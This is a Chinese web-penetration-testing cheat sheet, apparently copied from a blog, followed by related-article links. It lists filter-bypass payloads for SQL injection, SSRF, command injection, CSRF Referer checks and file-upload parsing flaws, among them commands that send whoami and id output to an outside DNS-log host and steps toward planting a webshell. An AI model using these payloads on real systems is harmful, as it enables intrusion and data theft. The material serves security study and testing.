Web中常见的绕过和技巧
SQL注入
十六进制绕过引号
slect table_name from information_schema.table where table_schema="sqli"; slect table_name from information_schema.table where table_schema=0x73716c69; slect table_name from information_schema.table where table_schema=CHAR(115, 113, 108, 105); |

like或者in绕过等号
select * from admin where id in (1,2,3,4); select * from admin where id like 1; |

join绕过逗号
SELECT * FROM admin where id = 1 union select 1,2,group_concat(user(),' ',database(),' ',@@datadir) SELECT * FROM admin where id = 1 union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C) |


limit逗号的绕过
select * from admin limit 0,2; select * from admin limit 2 offset 0; |

between绕过等号
select * from admin where id between 1 and 3; |

空格绕过
select * from admin where id=1; select/**/*/**/from/**/admin/**/where/**/id=1; select/*1*/*from/*1*/admin/*1*/where/*1*/id=1; select * from admin where id=1; |

符号代替文字绕过
&&代替and
||代替or
| 代替 xor
MySQL注释

SELECT * FROM Users WHERE id =’1’AND MID(VERSION()1,1)=’5’;
等价函数替换
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() |
SSRF
限制协议绕过
通过HTTP(S)的链接302跳转到gopher协议上。
<?php |
# dict protocol - 探测Redis |
IP限制绕过
利用[::]
利用[::]绕过localhost |
在windows尝试了chrome Firefox IE都无法访问
在Linux下Firefox是可以访问的。

Linux下curl wget也是可以访问的。


利用@
http://example.com@127.0.0.1 => http://127.0.0.1 |
在firefox下会弹出提示框。chrome直接跳转。
利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1 |
利用xip.io和xip.name
10.0.0.1.xip.io 10.0.0.1 www.10.0.0.1.xip.io 10.0.0.1 mysite.10.0.0.1.xip.io 10.0.0.1 foo.bar.10.0.0.1.xip.io 10.0.0.1 |

利用DNS解析
在域名上设置A记录,指向127.0.1

利用进制转换
十进制 ---||||||> 十六进制 ---||||||> 八进制 然后在访问时 指定协议然后加个0 http://0[八进制] 比如 115.239.210.26 首先用.分割数字 115 239 210 26 然后选择10进制转换16进制! (要用0来表示前缀,可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样!) 首先把这四段数字给 转成 16 进制!结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制! 结果:16373751032 然后指定协议 http:// 用0表示前缀 加上结果 链接: http://0016373751032 |
利用Enclosed alphanumerics
利用Enclosed alphanumerics |

利用句号
127。0。0。1 >>> 127.0.0.1 |

命令执行
空格绕过
< 符号
%09 符号
IFS$9 符号
${IFS} 符号
|

%0a 符号 %0d 符号 %09 符号 |

变量形式绕过
a=who;b=am;c=i;$a$b$c |

base64编码
`echo "d2hvYW1p"|base64 -d` |

DNS通道获取回显
linux:
curl xxxx.ceye.io/`whoami` ping -c 1 `whoami`.xxxx.ceye.io |


特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64
curl http://xxxx.ceye.io/$(id|base64) |

windows:
http请求: |


dns请求: |
用ceye.io获取不到回显,尝试了用t00ls的T00ls DNSLOG

单引号和双引号
单引号双引号要成对出现

CSRF 绕过Referer
条件限制 不一定所有的Refere验证就可以绕过
Referer为空条件下
利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的
如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。
利用https协议 https向http跳转的时候Referer为空
判断Referer是某域情况下绕过
比如你找的csrf是xxx.com 验证的referer是验证的*.xx.com
可以找个二级域名 之后<img "csrf地址"="">之后在把文章地址发出去 就可以伪造。
判断Referer是否存在某关键词
referer判断存在不存在google.com这个关键词
在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过
判断referer是否有某域名
判断了Referer开头是否以126.com以及126子域名 不验证根域名为126.com
那么我这里可以构造子域名x.126.com.xxx.com
文件上传
解析漏洞
IIS6.0解析漏洞
IIS6.0会把以下3种类型的文件会被IIS当作脚本文件(ASP、PHP、ASPX)来解析执行
a.asp;.jpg
/a.asp/2018042500310015.jpg
a.cer、a.asa、a.cdx IIS6.0会把这三种后缀当作ASP来执行。
Apache解析漏洞
在低版本的Apache中,系统会从右向左识别后缀,直至找到一个可以识别的后缀,然后将文件以该可识别的后缀进行解析。
shell.php.v1.xxx -- 系统无法识别xxx后缀名,则判断v1后缀名 |
Nginx解析漏洞
Nginx<=0.8.37,在已上传到服务器的包含WEBSHELL代码的图片后面加上%00.php会将 /xx.jpg%00.php当作PHP文件来进行解析执行。
CGI解析漏洞
CGI的解析漏洞主要影响IIS>7.0 和 Nginx 这两个WEB容器,它的产生原因是因为PHP.ini中cgi.fix_pathinfo=1,从而导致把其他格式文件按照PHP脚本来进行解析执行。
Payload:
http://IP/图片马地址/a.php |
遇到这种环境,攻击者只需要找到一个上传点,然后上传一个图片马,然后访问图片构造Payload即可获取WEBSHELL。但此情景只能以PHP脚本解析执行文件。
客户端检测绕过(JavaScript检测)
这类检测通常在上传页面里含有专门检测文件上传的javascript代码最常见的就是检测扩展名是否合法
可以用firebug之类的插件把它禁掉或者通过burp之类的代理工具进行绕过提交
用burp进行代理修改先将文件扩展名改成jpg
服务端检测绕过(MIME检测)
MIME验证是通过获取上传文件时数据包中Content-Type的值来判断文件是否合法的。以下是常见图片的后缀和Content-Type对应表:
后缀 Content-Type .jpg image/jpeg |
MIME验证只需要攻击者抓取上传数据包,将数据包中的Content-Type的值修改为合法图片的Content-Type值即可绕过。
服务端检测绕过(目录路径检测)
目录路径检测,一般就检测路径是否合法
洞成因是因为对目录路径的检测不够严谨而导致可以用0x00截断进行攻击
服务端检测绕过(文件扩展名检测)
文件名大小写绕过
名单列表绕过
特殊文件名绕过
0x00截断绕过
htaccess文件攻击
解析调用/漏洞绕过
服务端检测绕过(文件内容检测)
- 文件幻数检测

- 文件相关信息检测
图像文件相关信息检测常用的就是getimagesize()函数只需要把文件头部分伪造好就ok了,
就是在幻数的基础上还加了一些文件信息有点像下面的结构
GIF89a |
- 文件加载检测
常见的是图像渲染测试,再变态点的甚至是进行二次渲染
对渲染/加载测试的攻击方式是代码注入绕过
对二次渲染的攻击方式是攻击文件加载器自身
渲染/加载测试攻击-代码注入绕过
可以用图像处理软件对一张图片进行代码注入
用winhex看数据可以分析出这类工具的原理是
在不破坏文件本身的渲染情况下
找一个空白区进行填充代码,
一般会是图片的注释区对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的
from:https://uknowsec.cn/posts/notes/Web%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%92%8C%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93.html
Web中常见的绕过和技巧的更多相关文章
- Java web中常见编码乱码问题(二)
根据上篇记录Java web中常见编码乱码问题(一), 接着记录乱码案例: 案例分析: 2.输出流写入内容或者输入流读取内容时乱码(内容中有中文) 原因分析: a. 如果是按字节写入或读取时乱码, ...
- Java web中常见编码乱码问题(一)
最近在看Java web中中文编码问题,特此记录下. 本文将会介绍常见编码方式和Java web中遇到中文乱码问题的常见解决方法: 一.常见编码方式: 1.ASCII 码 众所周知,这是最简单的编码. ...
- 日常工作中常见的mysql优化技巧
1.介绍一下MYSQL经常使用的优化技巧. MySQL 自带 slow log 的分析工具 mysqldumpslow ,可是没有说明.本文通过分析该脚本,介绍了其用法. slow log 是 MyS ...
- CCS应用中常见的一些小技巧
在单片机开发中,通常需要精确估算代码运行时间,用于对算法优化以及对项目平台选择提供参考,通常算法如果用汇编编写,可以人工计算出运行时间,用C语言编写也可以通过反汇编代码而计算到较为精确的运行时间,但当 ...
- 在Web中实现C/S模式的Tab
在探讨C/S模式的Tab之前,我们先总结一下B/S模式的Tab通常是什么样的.web中常见的tab设计通常是用于分节展示大量信息以提高页面空间的利用率,而且这些信息通常是静态的,或者交互比较简单.通过 ...
- 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧
风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说
- Java中常见的5种WEB服务器介绍
这篇文章主要介绍了Java中常见的5种WEB服务器介绍,它们分别是Tomcat.Resin.JBoss.WebSphere.WebLogic,需要的朋友可以参考下 Web服务器是运行及发布Web应用的 ...
- 将web项目导入到eclipse中常见错误
将web项目导入到eclipse中常见错误 错误1:string cannot be resolved to a type 原因:这种情况一般是因为你的JDK版本没有设置好,或者设置的有不一致的 ...
- web开发中常见的安全漏洞及避免方法
1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信 ...
随机推荐
- Centos6.5 安装 LAMP
Centos 安装 LAMP 系统: Centos 6.5 Apache 2.4 + PHP 7.2 + Mysql 5.7 准备工作 centos 查看版本 查看 centos版本 How to C ...
- 云cassandra 重磅发布dynamodb特性
云cassandra全新发布dynamodb特性 nosql主力数据库再上新台阶 9月阿里云cassandra产品发布,具体参考阿里云全球首发云Cassandra服务.迄今为止,已有上百大B客户开通了 ...
- 好久不见的博客咯!——没有可持久化的可持久化treap
每每想要去了解可持久化treap这个好写好调的东东,然后就发现网上只有一个人的——SymenYang的!在此我必须得把他批判一番——写方法不贴代码是什么心态!而且写出来的是有问题的呀!害人不浅! 好吧 ...
- thinkphp环境要求
框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块.ThinkPHP底层运行的内存消耗极低,而本身的文件大小也是轻量级的,因此不会出现空间和内存占用的瓶颈. PHP版本要求 P ...
- Intervals POJ - 3680
传送门 给定数轴上n个带权区间$[l_i,r_i]$,权值为$w_i$ 选出一些区间使权值和最大,且每个点被覆盖次数不超过k次. 离散+拆点,最大费用可行流(跑到费用为负为止) 第一部分点按下标串起来 ...
- 双目立体匹配经典算法之Semi-Global Matching(SGM)概述:代价聚合(Cost Aggregation)
由于代价计算步骤只考虑了局部的相关性,对噪声非常敏感,无法直接用来计算最优视差,所以SGM算法通过代价聚合步骤,使聚合后的代价值能够更准确的反应像素之间的相关性,如图1所示.聚合后的新的代价值保存 ...
- NXOpenC#_Training_blockstyler(cn)【转载】
- <router-link :to="...">
一.<router-link :to="..."> to里的值可以是一个字符串路径,或者一个描述地址的对象.例如: // 字符串<router-link to=& ...
- lasso数学解释
lasso:是L1正则化(绝对值) 注:坐标下降法即前向逐步线性回归 lasso算法:常用于特征选择 最小角算法,由于时间有限没有去好好研究(其实是有点复杂,尴尬)
- Day 12 :迭代器与生成器
可迭代:在Python中如果一个对象有__iter__( )方法,则称这个对象是可迭代的(Iterable): 其中__iter__( )方法的作用是让对象可以用for ... in循环遍历,列表Li ...